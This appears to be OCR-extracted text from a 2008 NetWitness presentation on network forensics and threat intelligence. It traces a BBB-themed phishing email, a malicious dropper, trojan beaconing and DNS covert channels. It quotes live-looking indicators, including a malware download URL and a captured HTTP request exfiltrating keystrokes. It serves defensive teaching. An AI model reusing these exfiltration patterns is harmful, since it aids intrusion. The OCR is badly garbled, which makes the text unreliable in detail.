open source tools (Sysinternals, Ollydbg, Hex
Workshop, etc)

7/23/2008 Copyright 2008 NetWitness Corporation 28
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Suspicious email

From: ‘1lllllli Sent: Wed 6/6/2007 10:23
To Shawn Carpenter
ic

Subject: i 'Cormplaint Case Number 526242789

From: Better Business Bureaus [mailto:operationsfbbb.org]
Jent: Tuesday, June 05, 2007 4:07 PH

To: undizclozsed-recipients

Jubject: Complaint Case Number 526242789

Dear Mr./Mrs. Jim Charlton

Fou have received a complaint in regards to your business services. The complaint was filled by MNr. Paul Taylor on
6/3/2007

Complaint Case Number: 526242789
complaint Made by Conswumer Mr. Paul Taylor Complaint Begistered ilgainst: Company NetWitness Corporation
Date: 6/3/2007

7/23/2008 Copyright 2008 NetWitness Corporation 29
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Sample Malicious Email

@, NetWitriess Investigator &

- 3 X
Collection  Edit Yiew Bookmarks History Help
- Al Data MewDemo > demo@netwitness com = Sessions for [SPAN] BBE Complaint Case #3361 . > Content for Session #33860 @ 0 ‘77
et hﬁ\,easjlﬁﬂa
|fcz) Collections |, NewDema. L3 | 4k x
i
Session ID: 33860 1
4:49:02  AppType: 110  Size: 11,105 bytes  Prof AppMeta NetworkMeta I
| 64.78.61.220 : 110 |
From: BBB Agent <nwdemo@live.com:>
Ta: <demo@netwitness.com:
Subject: [SPAM] BBB Complaint Case #3356160079(Ref #85-2535299-10421886-1-977)
Date: Fri, 16 May 2008 11:29:29 -0400
more ==

BBB CASE #336160079

Complaint filed by: Edward Jones

Complaint filed against: Business Name: MNetWitness Corporation
Contact: James Smith

Address: 798 Station Street Suite 280

Herndon, VA 20176

usa

Phone number: 793-889-8950@

BBB Member: YES

Complaint status: -
Category: Contract Issues
Case opened date: 3/15/2008
Case closed date: -

Download a copy of this complaint so you can print it for your

=cords <http://www.nationzl-bbb.com/complaints/ViewReport.phpPcase=336160079&biz=8bbb=1186>

On March 18 2888, the consumer provided the following information: indicated he/she DID NOT received any response from the busipe

The form you used to register this complaint is designed to improve public access to the Better Business Bureau of Consumer Protection Consumer Response Center, and is voluntary.

Through this form, consumers may electronically register a complaint with the BBB.Under the Paperwork Reduction Act, as amended, an agency may not conduct or sponsor, and a person
is not required to respond to, a collection of information unless it displays a currently wvalid OMB control number. That number is 814-659.

@ 2008 BBB.org, All Rights Reserved.

E-mail for the greater good. Join the i‘m Initiatiwve from Microsoft

Capture
L] Ling Rate: [—— 0 0 Mbs Packets Captured: 0

A

| (UM




g Suspicious attachment gets more
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« An embedded PDF file inside of Word attachment looks
even more fishy

« Alarm bells should be going off at this point

5 Document_for_Case.doc - Microsoft Word

© Flle Edt ‘iew Insert Format  Tools  Table  Window  Help
g HRS S|V B@EY-| & Ei.ﬁ.rial

L I 1 I e T

[This docurment containg an embedded object. To open it double-click the icon.
L ror
.
e

Document_for_Case, pdf

7/23/2008 Copyright 2008 NetWitness Corporation 31
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Unsophisticated Delivery Mechanism

Microsoft Office Word x|

You are about bo activate an embedded objeck that maw conkain viruses or be
' E okherwise harmful to wour computer, Ik is important to be cerkain Ehat it is From a
t trusbworthy source, Do wou wank ko conktinue?

Ves T |

Open File - Security YWarning :=-=:|

The pubhsher could not be venhed. Are pyowu sure pyou want bo
rurn thnas software™>

= FHams: . DOCURME 1 .ExE
Publizher: Unknown Pubhisher
Type: Application

From: C:w»“Documents and SettingsttAfombatmman~Local S=t. .

Hun I | _ancel I

publzher. vou =hould only run =oftveare from publizhers poo brosk,

@ T hi= hle doesz ot hawe a wahd digital =ignature that wernifies ks
Howe can | decide wwhiat softveare bo run™?

7/23/2008 Copyright 2008 NetWitness Corporation 32
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More bad karma

 Adobe Reader issues an error
« Malicious code executed in background

1

» “updated443.exe” downloaded from
http://64.17.184.98/cs/scripts

|

i fdobe Reader could not open the document because it is either nok a suporkted
ile tvwpe or because the file has been corrupted (For example, it was sent as an
File & b the file has b ked (F I, it k
email attachment and wasn't correctly decoded).
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Malicious executable “update443.exe”
hosted on a church website in Kentucky

(graceofholland.orq)

3 Grace Community Church - Microsoft Internet Explorer

Fil= Edit “iew Fawvaorites

Toals

Help

@Back - \_J - |£| |EL| _:\]

— n
_) Search =~ - Favorites
-f"" [

O Rl

Address

& http:/f64.17. 154,95

| Go | Links

Log-In Register Members Contact Us

Al About Us @

of course, practical messages. Checlc us out
We're located at 345 136th avenue.

Grace Community Church - for the people of Today

Email Lists:
H-news is a weekly message from one of

Crace uses drama, multi-media, contemporary and traditional music, and our staff members

ENATL LIST Subsciibe?

Service Times: Sundayv Moirming at 2:30 AN

LASTETE P

= M clad o~ -0 PTT

FPraver FEequests I WES * I

el

I_ I_ I_ l_ l_ |4 Internet

7/23/2008
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‘updated43.exe” Analysis

« Malicious code injected into IEXPLORE.EXE process; runs as “SYSTEM”

VS. user-level

« Malicious DLL “update.dll” hooked into running IEXPLORE.EXE process,

and any new instances of IEXPLORE.EXE processes

& process Explorer - Sysinternals: wwnag sy cinternals.com [APPSE

=1

File Cptions Yiew Process Find DLL Users Help
&[5 == B == & < |4 2 |GGG ;IJ!
Frocess Fl I P I D escription I Company MName
= * OLLwDEG.E=<E 1044 OliwDbg. 22-bit analysing de. .
[ updated4a3[unpacked] exe 13264
bk notepad. exe 550 otepad kicrosoft CTorporation
| LIRS O R D E=E 944 Ficrosoft Office “w ard Ficrosoft CTorporation
Bl ocrnd. == 1024 woindowes CTommand Processzor MMicrosoft Corporation
Bl ocrnd. exe 554 whindowes CTommand Processzor Microsoft Corporation
Bl crnd. exe 252 wrhindows Command Processzor Ricrosoft Corporation
L procexp. exe 1512 293 Supsinternalz Frocess E=plorer Sy=zinternals
_ﬂ IE=FLORE _E=E 200 Intermet E =plarer kA icrosoft Corporation
,J rundllZ2. exe 212 Bun a DLL as an Spp kA icrosoft Corporation =1
Hamese - I D escription I Company Mame I WWeErsion I i
rkokil=. dll Fouting Utilities Ficrozoft Corporation 5.01.2600.2130
secur3Z dil Securnty Support Frowvider Interface Fdicrosoft Corporation 507 . 2600 2130
zenzapi.dll SEMS Connectivitpy AF1 DILL Ficrozoft Corporation 5.01.2600.2130
shdocw s dil Shell Doc Object arnd Control Library BMicrosoft Corporation E.00.2300. 2130
shell22. dl whindows Shell Cormmon DI Ficrozoft Corporation 5.00.2900. 2130
shilveapi. dll Shell Light-vaeight Lhlity Library Fdicrosoft Corporation E.00.2300. 2130
zartkey_ nls
=orttbls. nls
tapiz2. di Ficrozoft® windowsz[Tk] Telepho... Ricrozoft Corporation 5.01.2600.2130 |-
rnicode. nil=s

urlmon. dil OLE 22 Extensions For Win3dZ

Ficrozoft Corporation

Y indows P IISER AP Clent DL PAicrozoft Corpaoration .07 2600, 2720 ._I

E.00.2300. 2130

— |CF"I_I Lsages: 5.97%: |Cn:|-mm|t Charge: 158.639% IPFDCESSES =1 |

7/23/2008
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Building A Threat Intelligence Model

« Assumption: you

Phishing Profile Report Toed =

a re pe rfo rm i n g fu I I Fan at Saturday ey, 31 2008 @ 12:52 P
pa C ket Ca ptu re a n d 'IS'irD“nu;C;ange s;:a.uraayan 00:00:00 1o 2008-May-31 00:00:00
session analysis

 Alert typeSZ 0.1. Email Subject Content Activity

Back to Top

This report profiles common application parameters that may tip-off phishing activity. Use its result to determine
rigk and maanitude of potential threats initiated by phishing activity.

Top Phishing Email Subjects

— “BBB” in email -

S U bJ eCt . [SPAM] BEB Complaint Case #336160079(Ref #85-2635209-10421886-1-977) 1
T . ” Fule took 0:0:0.46 to complete. (Actions took O:0:0.0)
— “Complaint Case N
. . Top Email Subjects
- B eaC O n I n g aCtl O n S subject Session Count

. . Hella Customer, Real products for real men, 6196692517 3
- TO p d estl n a.t I 0 n Hello Audrey Odarm, Real products far real men, 6196692517
countries

Hella ChristopherJ Damico, Real products for real men, 6196652517
— Filenames

Hella DEMISE AMOS, Real products far real men, 61966925917
Hello Joe Madewell, Real products for real men, 8196692517
— Domain names,
URLS

Session Cou

Hella kathleen Seniff, Real products far real men, 6196692517
Hello kevin m krupski, Blue colored pill.
Hella kim Daniel, Real products for real men, 6196692517

el | STl B0 | 9 |l =
BJORD M) RD R RD R
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Understanding Potential Damage and
Pathology of the Malware

B, Wetwitriess Investigator
Cal

_A_\I Data | MewDemo

0 R ) e BB ES S

n Edt Yiew Bookmarks History Help

- & X

@@ |,

[ Callestions | @, HewDama (3

%] 218.53FFFEG2 246 FERD:

rrq Destination IPv6 address (5 items, Session Total)
CFBIFFOZ:0:0:0 (28) - nZFF02:0:000 (10 - »1.FF23:2BAGFF02:0

IP V6 Protocol (3 items, Session Total)

UDP 22} -HOPQPT (18} - IPvE-ICMP (8}

UDP Target Port (20 of 12012 items, Session Total)
(domain; (931)
Imore]

m Filename [open]

rll!il'l Database Name (5 items, Session Total)
fe_db (2y- ? (1) - discovery_db (1) - master (1)- msdb (1}

Group Channel (2 items, Session Total)
#it(1)-#omega (1)

Directory open]

Huslnﬂme Aliases (160 of 210 items, Session Total)

ANoNyMoUse.ong .streamingvideaprovider.co.uk

a1170.g.akamainet (27) - i.cdnturnercom (27) - edge1.catalogvidea.msn.com (2
} - www.casinagamblingweb.com

senvedby.advertising.com (
(17) - us.mc464.mail.yahoo.com (17} - twx.doubleclick.net (18)
cloudsatsg (12) - af@ hotmall.com (12)- i
ads.yimg.com (10} - ads1.msn.com (10
thumbs3.ebaystatic.com (10) - www.netwitness.com (10
www.blinklist.com ranw.gocgle.com.urchin.js. Tiraff 8
colehast.on (2) - globalmsads.net () - help.live.com (g) -

230ca2ih74 (7) - media.adrevolver.com | i
cdn.aim.cam (8) - cms mspacecdn com
media fastclic -moisha.cn (5}~ netmlness (6}
ad.usatoday.comr

@ Content Type (20 of 33 items, Session Total)

teubintrnl (16688) - image/gif (1004) - image/jpeg
imagel-icon (20)

@ Full Name [open]

Client Application (2 items, Session Total)
https (318} - tor (2)

@ Password [cpen]
@ Querystring [oper]
@ Referer [open]

Capture

1 - applicati

2)- 21E:CZFF.FE13:2CDSFEBD: () -

T082 (838) - 137 (nethios-ns) (773) - 138 (nethios-dgm) (

warkgroup (280) - cluster-2 freeproxy.ca (117) - xpinformer (102) - ad.doubleclicknet (82) - rad.msn.com (82

- eCximages-amazan.com
nickthinkpad (5} - nwhotdesk
- altfarm mplxakadns.net (5) - arabsites com (=

application/octet_stream (15} - image/bmp (

4bx
- 214 51FF:FEOD: 9972 FERD: (2) Al

0:0 (5)- 2 TFF13:2CDSFFOZ:0:0:0 (2) - n 2.6 28F3ATDCFFOZ:000:0 (1)

) - 50157 (26)- 37019 (25}

- 60614 (24)

- 068 (kootpc) (31)- 29739 (2

0)- 16001 (380) -

-6881 (180)- 1900 (143) - 11620 (128) - 67 (hootps) (114}

tubeuniverse.cam (82) - ad.yieldmanager.com (57 - www.goagle cam (58) - by106fd bay106.hotmail.msn.com (5 ww.google-analtics.com (53) -
images bittarrent.cam (24) - myrtaurig.com ( w.atdmt.com (32) - rad msn.com.nsate.net (31) - www justiixe.com (20) - c.skype.com (
us.it ylmg £am -m1.2mdn.net (22} - f5a65689. tracker dna bittorrent.com (21) - Lyimg.com (21} -

dtrpnet.com (203 - images.slashdotorg (19) - pagead2.googlesyndication.com (18) - bairardi-x60 (17) - egschwartz
wl g-]-]gle com (15} - widgetserver.com (14) -forgoogleonly.cn (12) - getlive.com (13) - mail.yimg.com (12) - u.7town.com (13) -

) ) —sn.g-:-:g\e.camm_ /. goldencasing. com (1) - 123.7town.com (10} - 786508.c0m (10)- Ttown1123_sh asoku.com (10) - ad. 3ad.doublaclick.net (10) -
usatoday.net (10) - pbx-rosnsnvz4 (1 pics.ebaystaticcom (10) - sb.l.google.com - switch.atdmt.com (10) - thumbs1.ebaystatic com (10) - thumbs2 ebaystatic.com (10} -
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Summary: BBB Beacon Trojan

« Beaconing activity is obvious because of short time A@
delay (~8 seconds)

 Much harder to detect beacons with large time delays
(i.e. one packet / hour)

« Begins after malware is retrieved, extracted, installed &
running

* A “phone home” to report in with machine name &
logged in user
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Example #3: Bad News DNS

* Normal Traffic: “The perfect
place to hide”

« HTTP, DNS, HTTPS, Etc.

« Non-standard traffic using
standard ports is a good tip
— E.g. Non-DNS Traffic over
Port 53
« Should | be concerned? How
do | look for it? Where do |
look for data?

/2 The New E-spionage Threat - Windows Internet Explorer 13l x|
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An Evolving Crisis
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"l suspect if it's an official part of the Chinese government Addresses
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 Lots of bad uses for DNS by state-sponsored hackers and organized
crime

* Dynamic DNS

— Attackers often use free (and non-attributable) dynamic DNS hosting
services as callback hosts that attackers use to control infected machines
and receive exfiltrated keystrokes / proprietary data

— For example, a host sends one packet every eight hours (+/- 10 seconds) to
hostname “winupdate.dyndns.org”

« Use of DNS as a covert channel
— Hiding of non-DNS traffic in what appears to be DNS packets

— Trojan communications are very difficult to identify in terabytes of network
communications

« Sometimes only a few packets per hour, or even a few packets a day

« Packet from a Trojan disguised as an HTTP GET request that is actually
transmitting obfuscated keystrokes to a host in Malaysia

« 0.277564 66.104.20.242 203.121.69.232 HTTP GET
Itheif2/parse.php?op=log&fn=07_ 06 2007.html&user=SYSTEM_ APPSERV
ER&str=\325\241\275\244\245\327\325\253\206\215\220\327\325\213\206\2
15\220\311\213\216\212\206\205\206\233\324\313\312\331\331\331\331\32
1N\331\313\327\325\217\206\207\235\311\212\206\205\206\233\324\313\312\
257\257\257\257\331\331\313\327\325\306\217\206\207\235\327 HTTP/1
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Using Active Threat Intelligence

9 NetWitness Informer = Dashboard - Mozilla Firefox k 18] x|
File Edit Wew History Bookmarks Tools  Help

» Charts fracking  SEeE e
Non-standard
service over
standard ports T

M"_ 04:21 PM - Highlighted Country

s o Recent Reports |

(@)% 04:10 PM - Test Rule

« Track items like: @ v s

&lﬁ 04:05 PM - Google Search

- N O n = D N S OV er 53 5:: Z:Zi ::: Pratacol Utilization

Tunnelling

—_ Non_H I I P Over 80 2000211620332, 503:0631233:40%: 2:002:162:352:503:065:253:403: 58 | alert Summary | Recent Alerts

pm pm pm pm pm proprm pn pPm P pmopm pm pr prm

See Al

Most Active Alerts

Top Ports to Foreign Countries BitTorrent Sites
- 1r 5

— Non-SMTP over 25 |~

— Etc... ' A\

Alerts

Users Downloading MP3s
Hualue: B4

 Traffic spike for
Non-DNS over 537 ‘s e
Drill.
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Network Data Source Value Chain

Data Source

Description

IDS Software

Sometimes the first indicator of a problem, for known exploits. Can
produce false positives and is signature based.

SIM Software

Correlates IDS and other network and security event data and
dramatically improves signal to noise ratio. Is valuable to the
extent that data sources are properly integrated.

Full packet capture
and session
reconstruction

Collects the richest network data. Provides a deeper level of
threat identification and analysis and traffic reconstruction.

Firewalls, Gateways,
etc.

Overwhelming amounts of data with little context, but can be
valuable when used within a SIM and in conjunction with full packet
capture and network forensics reviews.

Network Monitoring

Network performance management and network behavioral
anomaly detection (NBAD) tools. Indicators of changes in traffic
flows within a given time slice.

See NIST SP 800-86

7/23/2008
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Conclusions

« Threats faced by organizations require deeper situational
awareness and definitive network visibility provided by
investigative infrastructures and the use of full packet
capture and network forensic techniques

« Security professionals can increase the effectiveness of
their own skills and ongoing operations by integrating
network investigative approaches

» This stuff is not voodoo, and will help improve situational
awareness, the effectiveness and timeliness of
investigations policy compliance and lower the impact of
potential threats

« YOU should be doing this stuff EVERY DAY!
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Thanks for your time!

For a copy of this presentation, please email me:
eddie@netwitness.com
+1-703-932-9550
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